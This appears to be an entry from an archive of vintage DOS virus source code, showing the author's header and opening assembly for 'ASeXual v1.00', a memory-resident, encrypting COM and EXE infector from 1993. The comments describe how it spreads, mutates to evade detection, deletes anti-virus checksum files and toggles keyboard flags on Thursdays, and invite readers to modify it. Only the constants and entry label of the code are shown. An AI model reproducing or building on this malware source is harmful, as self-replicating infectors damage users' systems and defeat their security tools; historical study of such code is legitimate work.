asexual.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

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; ************************************************
;     ASeXuAl v1.00 - BY VIROGEN - 10-29-93
; ************************************************
;  - Compatible with : TASM /m
;
;        ASeXual v1.00
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;
;  TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;    Because of my ignorance I released the last version of ASeXual with
;  a MAJOR bug.. you would expierence very frequent system lockups not
;  to mention that infections of files in the root directory screwed them
;  all future generations.
;
;   new in this version:
;     - Lockup bugs fixed!
;     - root directory infections fixed!  (no longer infects spawning in root)
;     - spawning infections now return the correct return code from the EXE
;     - cosmetic changes
;     - no more error handler
;
;  characteristics:
;    This virus is a memory resident parastic COM infector and spawning
;   EXE infector. It is mutative.. with only 2 bytes remain constant
;   in replicated copies, but none in constant relative locations to the start
;   of viral code or to each other. It infects up to 5 files in the
;   current directory which a program is executed or a new drive is selected.
;   It first searches out EXE hosts, and if there are none to be infected,
;   it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
;   in the current directory are killed before any file is infected.   This
;   virus is also kept encrypted in memory to prevent easy detection of it
;   there too.     It's code is stored just below the 640k boundary.  There
;   will be a decrease of about 5k of total system memory when this virus is
;   resident.
;
;  activation:
;   This is a non-malicious virus and it's activation is simple.. On any
;   thursday it changes the keyboard flags (CTRL,ALT,L&RSHIFT,NUM LOCK,CAPS,
;   and SCROLL LOCK) constantly while it is memory resident. It does not
;   infect files on thursdays.
;
;
;  As always I'm releasing the full source code to this virus.. which means
;  you are free to make modifications to it. Just give credit where credit
;  is due and have phun..
;

segment	    cseg
	    assume  cs: cseg, ds: cseg,es: cseg

signal	    equ	    6bh			    ; Installation check
reply	    equ	    0fah		    ; reply to check

max_inf	    equ	    05			    ; Maximum files to infect per run
max_rotation equ    9			    ; number of bytes in switch byte table
parastic    equ	    01			    ; Parastic infection
spawn	    equ	    00			    ; Spawning infection
heap_size   equ	    50h			    ; max heap size
	    org	    100h		    ; Leave room for PSP

start:
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